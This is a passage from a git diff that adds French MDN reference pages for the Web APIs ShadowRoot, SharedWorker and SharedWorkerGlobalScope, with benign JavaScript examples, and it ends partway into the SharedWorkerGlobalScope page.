diff --git a/files/fr/web/api/shadowroot/index.html b/files/fr/web/api/shadowroot/index.html
new file mode 100644
index 0000000000..3b84f53df6
--- /dev/null
+++ b/files/fr/web/api/shadowroot/index.html
@@ -0,0 +1,113 @@
+---
+title: ShadowRoot
+slug: Web/API/ShadowRoot
+tags:
+  - API
+  - Interface
+  - Reference
+  - ShadowRoot
+  - Web Components
+translation_of: Web/API/ShadowRoot
+---
+<div>{{APIRef('Shadow DOM')}}</div>
+
+<p>L'interface <code><strong>ShadowRoot</strong></code>, relative à l'API <em>Shadow DOM</em>, représente la racine d'un sous-arbre du DOM dont le rendu est effectué séparément de celui du DOM de l'arbre principal.</p>
+
+<p>Il est possible de récupérer une référence à la racine <em>shadow</em> d'un élément via la propriété {{domxref("Element.shadowRoot")}} si la racine a été créée avec la méthode {{domxref("Element.attachShadow()")}} et l'option <code>mode</code> qui valait <code>open</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("ShadowRoot.delegatesFocus")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>Cette propriété renvoie un booléen qui indique si l'option <code>delegatesFocus</code> a été activée lors de la liaison avec la racine <em>shadow</em> (cf. {{domxref("Element.attachShadow()")}}).</dd>
+ <dt>{{domxref("ShadowRoot.host")}} {{readonlyinline}}</dt>
+ <dd>Cette propriété renvoie une référence à l'élément DOM auquel la racine <code>ShadowRoot</code> est attachée.</dd>
+ <dt>{{domxref("ShadowRoot.innerHTML")}} {{non-standard_inline}}</dt>
+ <dd>Cette propriété permet de définir ou de récupérer le sous-arbre DOM contenu à l'intérieur de la racine <code>ShadowRoot</code>.</dd>
+ <dt>{{domxref("ShadowRoot.mode")}} {{readonlyinline}}</dt>
+ <dd>Cette propriété renvoie le mode utilisé pour la racine <code>ShadowRoot</code> : <code>open</code> ou <code>closed</code>. Cette valeur indique si les fonctionnalités internes à la racine sont accessibles depuis JavaScript.</dd>
+</dl>
+
+<h3 id="Propriétés_incluses_via_DocumentOrShadowRoot">Propriétés incluses via <code>DocumentOrShadowRoot</code></h3>
+
+<p><em>L'interface <code>ShadowRoot</code> inclut les propriétés suivantes grâce au </em>mixin<em> {{domxref("DocumentOrShadowRoot")}}. Attention, ceci n'est actuellement (11/2019) implémenté qu'avec Chrome et les autres navigateurs continuent d'implémenter l'interface {{domxref("Document")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("DocumentOrShadowRoot.activeElement")}} {{readonlyInline}}</dt>
+ <dd>L'élément ({{domxref('Element')}}) au sein du sous-arbre <em>shadow</em> qui a le focus.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.styleSheets")}} {{readonlyInline}}</dt>
+ <dd>Une liste {{domxref('StyleSheetList')}} d'objets {{domxref('CSSStyleSheet')}} qui référencent les feuilles de styles liées explicitement ou embarquées dans le document.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>L'interface <code>ShadowRoot</code> inclut les méthodes suivantes qui proviennent du </em>mixin<em> {{domxref("DocumentOrShadowRoot")}}. Attention, ceci n'est actuellement (11/2019) implémenté qu'avec Chrome et les autres navigateurs continuent d'implémenter l'interface {{domxref("Document")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("DocumentOrShadowRoot.getSelection()")}}</dt>
+ <dd>Cette méthode renvoie un objet {{domxref('Selection')}} représentant le fragment de texte sélectionné par l'utilisateur ou la position courante du curseur.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.elementFromPoint()")}}</dt>
+ <dd>Cette méthode renvoie l'élément le plus haut situé aux coordonnées passées en arguments.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.elementsFromPoint()")}}</dt>
+ <dd>Cette méthode renvoie un tableau de tous les éléments situés aux coordonnées passées en arguments.</dd>
+ <dt>{{domxref("DocumentOrShadowRoot.caretPositionFromPoint()")}}</dt>
+ <dd>Cette méthode renvoie un objet {{domxref('CaretPosition')}} contenant le nœud DOM sur lequel est le curseur ainsi que la position du curseur sur ce nœud.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Les fragments de code suivants sont extraits de l'exemple <a href="https://github.com/mdn/web-components-examples/tree/master/life-cycle-callbacks">life-cycle-callbacks</a> (<a href="https://mdn.github.io/web-components-examples/life-cycle-callbacks">voir le résultat en <em>live</em></a>) qui crée un élément affichant un carré avec une taille et une couleur fournies par les attributs de l'élément.</p>
+
+<p>Dans la définition de la classe pour l'élément <code>&lt;custom-square&gt;</code>, on ajoute certains <em>callbacks</em> permettant de gérer le cycle de vie de l'élément avec un appel à une fonction externe <code>updateStyle()</code> qui applique la taille et la couleur à l'élément. On lui passe l'argument <code>this</code> (c'est-à-dire l'élément lui-même).</p>
+
+<pre class="brush: js">connectedCallback() {
+  console.log("Le carré personnalisé a été ajouté à la page.");
+  updateStyle(this);
+}
+
+attributeChangedCallback(nom, ancienneValeur, nouvelleValeur) {
+  console.log("Les attributs du carré ont changé.");
+  updateStyle(this);
+}</pre>
+
+<p>Quant à la fonction <code>updateStyle()</code>, voyons ici son fonctionnement. On récupère une référence au <em>shadow DOM</em> avec {{domxref("Element.shadowRoot")}}. Ensuite, on utilise un parcours pour le sous-arbre afin de trouver l'élément {{htmlelement("style")}} présent dans le <em>shadow DOM</em> et on met à jour le CSS pour cet élément :</p>
+
+<pre class="brush: js">function updateStyle(elem) {
+  var shadow = elem.shadowRoot;
+  var childNodes = shadow.childNodes;
+  for(var i = 0; i &lt; childNodes.length; i++) {
+    if(childNodes[i].nodeName === 'STYLE') {
+      childNodes[i].textContent =
+        'div {' +
+          'width: ' + elem.getAttribute('l') + 'px;' +
+          'height: ' + elem.getAttribute('l') + 'px;' +
+          'background-color: ' + elem.getAttribute('c') + ';' +
+        '}';
+    }
+  }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-shadowroot','Interface ShadowRoot')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.ShadowRoot")}}</p>
diff --git a/files/fr/web/api/shadowroot/innerhtml/index.html b/files/fr/web/api/shadowroot/innerhtml/index.html
new file mode 100644
index 0000000000..2262621230
--- /dev/null
+++ b/files/fr/web/api/shadowroot/innerhtml/index.html
@@ -0,0 +1,42 @@
+---
+title: ShadowRoot.innerHTML
+slug: Web/API/ShadowRoot/innerHTML
+tags:
+  - API
+  - Propriété
+  - Reference
+  - ShadowRoot
+  - innerHTML
+  - shadow dom
+translation_of: Web/API/ShadowRoot/innerHTML
+---
+<div>{{APIRef("Shadow DOM")}}</div>
+
+<p>La propriété <strong><code>innerHTML</code></strong>, rattachée à l'interface {{domxref("ShadowRoot")}}, permet de définir ou de récupérer une référence à l'arbre DOM contenu dans la racine <code>ShadowRoot</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>domString</em> = <em>shadowRoot</em>.innerHTML
+<em>shadowRoot</em>.innerHTML = <em>domString</em>
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une chaîne de caractères {{domxref("DOMString")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">let customElem = document.querySelector('mon-element-shadow-dom');
+let shadow = customElem.shadowRoot;
+
+shadow.innerHTML = '&lt;strong&gt;Cet élément devrait être plus important !&lt;/strong&gt;';</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait pas encore partie d'une spécification. Voir <a href="https://github.com/w3c/DOM-Parsing/issues/21">cette <em>issue</em></a> pour le projet de spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.ShadowRoot.innerHTML")}}</p>
diff --git a/files/fr/web/api/shadowroot/mode/index.html b/files/fr/web/api/shadowroot/mode/index.html
new file mode 100644
index 0000000000..f9e3ac0ccd
--- /dev/null
+++ b/files/fr/web/api/shadowroot/mode/index.html
@@ -0,0 +1,63 @@
+---
+title: ShadowRoot.mode
+slug: Web/API/ShadowRoot/mode
+tags:
+  - API
+  - Propriété
+  - Reference
+  - ShadowRoot
+  - mode
+  - shadow dom
+translation_of: Web/API/ShadowRoot/mode
+---
+<div>{{APIRef("Shadow DOM")}}</div>
+
+<p>La propriété <strong><code>mode</code></strong>, rattachée à l'interface {{domxref("ShadowRoot")}}, indique son mode. Celui-ci peut valoir <code>open</code> ou <code>closed</code> et indique si les fonctionnalités internes de la racine sont accessibles en JavaScript.</p>
+
+<p>Lorsque le mode d'une racine <em>shadow</em> vaut <code>closed</code>, les détails d'implémentation internes sont inaccessibles et inchangeables avec JavaScript (de la même façon que les détails du fonctionnement de l'élément {{HTMLElement("video")}} sont inaccessibles et inchangeables en JavaScript).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>mode</em> = <em>shadowRoot</em>.mode</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une valeur définie via l'énumération <code><a href="https://dom.spec.whatwg.org/#enumdef-shadowrootmode">ShadowRootMode</a></code> : soit <code>open</code>, soit <code>closed</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">let customElem = document.querySelector('mon-element-shadow-dom');
+let shadow = customElem.shadowRoot;
+
+// Une autre façon de vérifier si la racine est ouverte :
+// on obtiendra null si elle est fermée
+if(shadow) {
+  // Si elle est ouverte, on ferme la racine pour
+  // cacher ce qu'il y a à l'intérieur.
+  shadow.mode = 'closed';
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-shadowroot-mode','ShadowRoot.mode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.ShadowRoot.mode")}}</p>
diff --git a/files/fr/web/api/sharedworker/index.html b/files/fr/web/api/sharedworker/index.html
new file mode 100644
index 0000000000..bb9e9f5a39
--- /dev/null
+++ b/files/fr/web/api/sharedworker/index.html
@@ -0,0 +1,116 @@
+---
+title: SharedWorker
+slug: Web/API/SharedWorker
+tags:
+  - API
+  - Interface
+  - Reference
+  - Shared
+  - SharedWorker
+  - Worker
+translation_of: Web/API/SharedWorker
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<p>L'interface <code><strong>SharedWorker</strong></code> représente un type spécifique de worker qui peut être <em>accédé</em> à partir de plusieurs contextes de navigation, tels que plusieurs fenêtres, iframes ou même workers. Ils implémentent une autre interface que les workers dédiés et ont un contexte global différent, {{domxref("SharedWorkerGlobalScope")}}.</p>
+
+<div class="note">
+<p><strong>Remarque :</strong> si un SharedWorker peut être accédé à partir de plusieurs contextes de navigation, tous ces contextes de navigation doivent partager exactement la même origine (même protocole, hôte et port.)</p>
+</div>
+
+<h2 id="Constructeurs">Constructeurs</h2>
+
+<dl>
+ <dt>{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}</dt>
+ <dd>Crée un web worker partagé qui exécute le script spécifié par l'URL.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Il hérite des propriétés de son parent, {{domxref("EventTarget")}}, et implémente les propriétés de {{domxref("AbstractWorker")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("AbstractWorker.onerror")}}</dt>
+ <dd>Est un {{ domxref("EventListener") }} qui est appelé à chaque fois qu'un {{domxref("ErrorEvent")}} de type <code>error</code> se propage à travers le worker.</dd>
+ <dt>{{domxref("SharedWorker.port")}} {{readonlyInline}}</dt>
+ <dd>Retourne un objet {{domxref("MessagePort")}} utilisé pour communiquer et contrôler le worker partagé.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des méthodes de son parent, {{domxref("EventTarget")}}, et implémente les méthodes de {{domxref("AbstractWorker")}}.</em></p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans notre  <a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Exemple basique d'un worker partagé</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">lancer le worker partagé</a>), nous avons deux pages HTML, qui chacune utilise du code JavaScript pour réaliser un calcul simple. Les différents scripts utilisent le même worker pour effectuer ce calcul — ils peuvent tous les deux y accéder, même si leurs pages s'exécutent à l'intérieur de fenêtres différentes.</p>
+
+<p>L'extrait de code suivant illustre la création d'un objet <code>SharedWorker</code> en utilisant le constructeur {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}. Les deux scripts contiennent ceci :</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="keyword token">var</span> myWorker <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">SharedWorker</span><span class="punctuation token">(</span><span class="string token">"worker.js"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Les deux scripts accèdent alors au worker à travers un objet {{domxref("MessagePort")}} créé en utilisant la propriété {{domxref("SharedWorker.port")}} — le port est démarré au moyen de sa méthode <code>start()</code> :</p>
+
+<pre class="brush: js  language-js"><code class="language-js">myWorker<span class="punctuation token">.</span>port<span class="punctuation token">.</span><span class="function token">start<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Lorsque le port est démarré, les deux scripts envoient des messages au worker et gèrent les messages qu'il renvoie en utilisant respectivement <code>port.postMessage()</code> et <code>port.onmessage</code> :</p>
+
+<pre class="brush: js  language-js"><code class="language-js">first<span class="punctuation token">.</span>onchange <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    myWorker<span class="punctuation token">.</span>port<span class="punctuation token">.</span><span class="function token">postMessage<span class="punctuation token">(</span></span><span class="punctuation token">[</span>first<span class="punctuation token">.</span>value<span class="punctuation token">,</span>second<span class="punctuation token">.</span>value<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">'Message envoyé au worker'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  second<span class="punctuation token">.</span>onchange <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    myWorker<span class="punctuation token">.</span>port<span class="punctuation token">.</span><span class="function token">postMessage<span class="punctuation token">(</span></span><span class="punctuation token">[</span>first<span class="punctuation token">.</span>value<span class="punctuation token">,</span>second<span class="punctuation token">.</span>value<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">'Message envoyé au worker'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  myWorker<span class="punctuation token">.</span>port<span class="punctuation token">.</span>onmessage <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    result1<span class="punctuation token">.</span>textContent <span class="operator token">=</span> e<span class="punctuation token">.</span>data<span class="punctuation token">;</span>
+    console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">'Message reçu du worker'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span></code></pre>
+
+<p>Au sein du worker, nous utilisons le gestionnaire {{domxref("SharedWorkerGlobalScope.onconnect")}} pour se connecter au même port dont il a été question plus haut. Les ports associés au worker sont accessibles dans la propriété <code>ports</code> de l'événement {{event("connect")}} — nous utilisons alors la méthode {{domxref("MessagePort")}} <code>start()</code> pour démarrer le port, et le gestionnaire <code>onmessage</code> pour s'occuper des messages en provenance des threads principaux.</p>
+
+<pre class="brush: js  language-js"><code class="language-js">onconnect <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> port <span class="operator token">=</span> e<span class="punctuation token">.</span>ports<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+
+    port<span class="punctuation token">.</span>onmessage <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">var</span> workerResult <span class="operator token">=</span> <span class="string token">'Result: '</span> <span class="operator token">+</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>data<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">*</span> e<span class="punctuation token">.</span>data<span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      port<span class="punctuation token">.</span><span class="function token">postMessage<span class="punctuation token">(</span></span>workerResult<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+
+    port<span class="punctuation token">.</span><span class="function token">start<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#sharedworker", "SharedWorker")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification de {{SpecName("Web Workers")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.SharedWorker")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("Worker") }}</li>
+ <li><a class="internal" href="/fr/docs/Utilisation_des_web_workers">Utilisation des web workers</a></li>
+</ul>
diff --git a/files/fr/web/api/sharedworker/port/index.html b/files/fr/web/api/sharedworker/port/index.html
new file mode 100644
index 0000000000..80605091d8
--- /dev/null
+++ b/files/fr/web/api/sharedworker/port/index.html
@@ -0,0 +1,55 @@
+---
+title: SharedWorker.port
+slug: Web/API/SharedWorker/port
+translation_of: Web/API/SharedWorker/port
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<p>La propriété <code><strong>port</strong></code> de l'interface {{domxref("SharedWorker")}} retourne un objet {{domxref("MessagePort")}} utilisé pour contrôler et communiquer avec le <em>worker</em> partagé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">myWorker.port;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet {{domxref("MessagePort")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple de code suivant montre la création de l'objet <code>SharedWorker</code> en utilisant le constructeur {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}. Plusieurs scriptes peuvent accéder au <em>worker</em> avec l'objet {{domxref("MessagePort")}} accessible grâce à la propriété <code>SharedWorker.port</code> — le port est ouvert avec la méthode <code>start()</code>.</p>
+
+<pre class="brush: js">var myWorker = new SharedWorker('worker.js');
+myWorker.port.start();</pre>
+
+<p>Pour un exemple complet, voir <a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">(en) Exemple basique de <em>worker</em> partagé</a> (<a class="external external-icon" href="https://mdn.github.io/simple-shared-worker/">(en) démonstration d'un <em>worker</em> partagé</a>.)</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-sharedworker-port", "AbstractWorker.onerror")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.SharedWorker.port")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("SharedWorker")}} auquel il appartient.</li>
+ <li><a href="https://anlexn.github.io/shared-worker-mdn/">(en) Une autre démonstration de multiplication.</a></li>
+</ul>
diff --git a/files/fr/web/api/sharedworker/sharedworker/index.html b/files/fr/web/api/sharedworker/sharedworker/index.html
new file mode 100644
index 0000000000..fb98ecbe33
--- /dev/null
+++ b/files/fr/web/api/sharedworker/sharedworker/index.html
@@ -0,0 +1,101 @@
+---
+title: SharedWorker()
+slug: Web/API/SharedWorker/SharedWorker
+translation_of: Web/API/SharedWorker/SharedWorker
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<p>Le constructeur <code><strong>SharedWorker()</strong></code> crée un objet {{domxref("SharedWorker")}} qui exécute le script depuis l'URL indiquée. Le script doit respecter la <a href="/fr/docs/Web/Security/Same-origin_policy">politique de même origine</a>.</p>
+
+<div class="note">
+<p><strong>Remarque</strong>: Il y a désaccord entre les fabricants de navigateur pour savoir si l'URI doit avoir la même origine ou non. Bien que Gecko 10.0 {{geckoRelease("10.0")}} et les version supérieurs acceptent des origines différentes, ce n'est pas le cas des autres navigateurs.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var monWorker = new SharedWorker(<em>uneURL</em>, <em>nom</em>);
+var monWorker = new SharedWorker(<em>uneURL</em>, <em>options</em>);</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt><em>uneURL</em></dt>
+ <dd>Une {{domxref("DOMString")}} qui représente l'URL du scripte du <em>worker</em> qui sera exécuté. Il doit obéir à la politique de même origine.</dd>
+ <dt>nom {{optional_inline}}</dt>
+ <dd>Une {{domxref("DOMString")}} indiquant un nom pour le {{domxref("SharedWorkerGlobalScope")}} représentant la portée du <em>worker</em>. Souvent utilisé pour le débogage.</dd>
+ <dt><em>options</em> {{optional_inline}}</dt>
+ <dd>Une objet contenant les propriétés qui peuvent être défini à la création. Les propriété possibles sont:
+ <ul>
+  <li><code>type</code>: Une {{domxref("DOMString")}} spécifiant le type de <em>worker</em> à créer. Les valeurs possibles sont: <code>classic</code> ou <code>module</code>. Si non spécifié, la valeur par défaut est <code>classic</code>.</li>
+  <li><code>credentials</code>: Une {{domxref("DOMString")}} spécifiant le type de crédit à utilisé pour le <em>worker</em>. La valeur peut être <dfn><code>omit</code></dfn>, <code><dfn>same-origin</dfn></code> ou <dfn><code>include</code>. Si non spécifié ou si le type est <code>classic</code>, la valeur par défaut sera <code>omit</code> (pas de crédit nécéssaire).</dfn></li>
+  <li><dfn><code>name</code>: Une </dfn>{{domxref("DOMString")}} spécifiant un identifiant pour le {{domxref("SharedWorkerGlobalScope")}} représentant la porté du <em>worker</em>, souvent utilisé pour déboguer.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Le <em>woker</em> créé.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Une <code>SecurityError</code> est levé si le document n'est pas autorisé à lancer le <em>worker</em>. Par exemple si l'URL a une syntaxe invalide ou si la politique de même origine est violée.</li>
+ <li>Une <code>NetworkError</code> est levé si le type MIME du script <em>worker</em> n'est pas correct. Le type MIME doit toujours être <code>text/javascript</code>.</li>
+ <li>Une <code>SyntaxError</code> est levée si <em>uneURL</em> ne peut pas être analysée.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'extrait de code suivant montre la création d'un objet {{domxref("SharedWorker")}} en utilisant le contructeur <code>SharedWorker()</code> et l'usage qui en est fait.</p>
+
+<pre class="brush: js">var myWorker = new SharedWorker('worker.js');
+
+myWorker.port.start();
+
+first.onchange = function() {
+  myWorker.port.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.port.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+myWorker.port.onmessage = function(e) {
+  result1.textContent = e.data;
+  console.log('Message received from worker');
+}</pre>
+
+<p>Pour l'exemple en complet, voir <a class="external-icon external" href="https://github.com/mdn/simple-shared-worker">Basic shared worker example</a> (<a class="external-icon external" href="http://mdn.github.io/simple-shared-worker/">run shared worker</a>.)</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statuts</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-sharedworker", "SharedWorker()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.SharedWorker.SharedWorker")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("SharedWorker")}} auquel il appartient.</li>
+ <li><a href="https://anlexn.github.io/shared-worker-mdn/">Une autre démonstration de multiplication.</a></li>
+</ul>
diff --git a/files/fr/web/api/sharedworkerglobalscope/applicationcache/index.html b/files/fr/web/api/sharedworkerglobalscope/applicationcache/index.html
new file mode 100644
index 0000000000..1d2fde68f1
--- /dev/null
+++ b/files/fr/web/api/sharedworkerglobalscope/applicationcache/index.html
@@ -0,0 +1,38 @@
+---
+title: SharedWorkerGlobalScope.applicationCache
+slug: Web/API/SharedWorkerGlobalScope/applicationCache
+translation_of: Web/API/SharedWorkerGlobalScope/applicationCache
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
+<div class="warning">
+<p><strong>Important</strong>: Application Cache est déprécié depuis Firefox 44, et ne sera plus disponible dans des contextes non sécurisés avant Firefox 60 ({{bug(1354175)}}, currently uniquement sur les versions Nightly/Beta). Ne pas utiliser cette fonctionnalité sur des sites web en production, utilisez plutôt les <a href="/fr/docs/Web/API/Service_Worker_API">services workers.</a></p>
+</div>
+
+<p>La propriété en lecture seule <code><strong>applicationCache</strong></code> de l'interface {{domxref("SharedWorkerGlobalScope")}} retourne l'objet {{domxref("ApplicationCache")}} pour le <em>worker</em> (voir <a href="/fr/docs/Web/HTML/Using_the_application_cache">Utiliser le cache d'application</a>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var nameObj = self.applicationCache;</pre>
+
+<h3 id="valeur">valeur</h3>
+
+<p>Un {{domxref("ApplicationCache")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Si un <em>worker</em> partagé a un AppCache, vous pouvez récupérer une référence en utilisant à l'intérieur d'un <em>worker</em> partagé:</p>
+
+<pre class="brush: js">self.applicationCache</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.SharedWorkerGlobalScope.applicationCache")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("SharedWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/fr/web/api/sharedworkerglobalscope/index.html b/files/fr/web/api/sharedworkerglobalscope/index.html
new file mode 100644
index 0000000000..5be22e2bcb
--- /dev/null
+++ b/files/fr/web/api/sharedworkerglobalscope/index.html
@@ -0,0 +1,132 @@
+---
+title: SharedWorkerGlobalScope
+slug: Web/API/SharedWorkerGlobalScope
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - SharedWorkerGlobalScope
+  - TopicStub
+  - Web Workers
+translation_of: Web/API/SharedWorkerGlobalScope
+---
+<div>{{APIRef("Web Workers API")}}</div>
+
